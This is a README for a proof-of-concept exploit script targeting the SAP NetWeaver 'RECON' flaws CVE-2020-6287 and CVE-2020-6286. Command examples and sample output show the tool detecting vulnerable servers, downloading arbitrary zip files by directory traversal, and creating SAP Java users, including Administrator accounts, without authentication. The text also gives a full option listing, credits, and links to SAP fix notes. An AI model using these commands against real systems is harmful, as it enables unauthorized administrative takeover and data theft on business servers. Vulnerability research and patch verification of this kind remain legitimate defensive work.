
PoC for CVE-2020-6287, CVE-2020-6286 (SAP RECON vulnerability)
PoC para CVE-2020-6287, CVE-2020-6286 (vulnerabilidade SAP RECON)
Pffff! RECON (Remotely Exploitable Code On NetWeaver)? Caras, a sério? Foi o melhor nome que arranjaram? :)
Este script permite verificar a vulnerabilidade de falta de verificação de autorização no SAP LM Configuration Wizard e, como PoC, explora o directory traversal no método queryProtocol.
O directory traversal permite descarregar qualquer ficheiro zip do servidor SAP.
Este projeto foi criado apenas para fins educativos e não pode ser utilizado para violação da lei ou ganho pessoal.
O autor deste projeto não é responsável por qualquer dano possível causado pelos materiais deste projeto
Descoberta original:
CVE-2020-6287: Pablo Artuso
CVE-2020-6286: Yvan 'iggy' G.
Apenas indique o hostname/ip do SAP NW AS Java.
Existem opções adicionais:
-c - verificar se o servidor SAP é vulnerável ao RECON-f - descarregar ficheiro zip do servidor SAP-u - criar utilizador SAP JAVA com a função Authenticated User-a - criar utilizador SAP JAVA com a função AdministratorEx.: Descarregar ficheiro zip
~python RECON.py -H 172.16.30.8 -f /1111.zip
Check1 - Vulnerable! - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Ok! File zipfile_929.zip was saved
Ex.: Criar utilizador SAP JAVA
~python RECON.py -H 172.16.30.8 -u
Check1 - Vulnerable! - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Going to create new user. sapRpoc5484:Secure!PwD9379
Ok! User were created
Ex.: Criar utilizador Administrador SAP JAVA
~python RECON.py -H 172.16.30.8 -a
Check1 - Vulnerable! [CVE-2020-6287] (RECON) - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Going to create new user sapRpoc5574:Secure!PwD7715 with role 'Administrator'
Ok! Admin user were created
~python RECON.py -h
usage: RECON.py [-h] [-H HOST] [-P PORT] [-p PROXY] [-s] [-c] [-f ZIPFILE]
[-u] [-a] [--timeout TIMEOUT] [-v]
PoC for CVE-2020-6287, (RECON)
This scrip allows to check SAP LM Configuration Wizard missing authorization check vulnerability and exploits dir traversal in queryProtocol method
Original finding:
- Pablo Artuso. https://twitter.com/lmkalg
- Yvan 'iggy' G https://twitter.com/_1ggy
Thanks:
- Spencer McIntyre https://twitter.com/zeroSteiner
Solution: https://launchpad.support.sap.com/#/notes/2934135, https://launchpad.support.sap.com/#/notes/2939665
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST Java NW host (default: 127.0.0.1)
-P PORT, --port PORT Java NW web port (default: tcp/50000)
-p PROXY, --proxy PROXY
Use proxy (ex: 127.0.0.1:8080)
-s, --ssl enable SSL
-c, --check just detect vulnerability
-f ZIPFILE, --zipfile ZIPFILE
ZIP file to read. CVE-2020-6286
-u, --user Create simple JAVA user. CVE-2020-6287
-a, --admin Create JAVA user with role "Administrator". CVE-2020-6287
--timeout TIMEOUT HTTP connection timeout in second (default: 10)
-v, --verbose verbose mode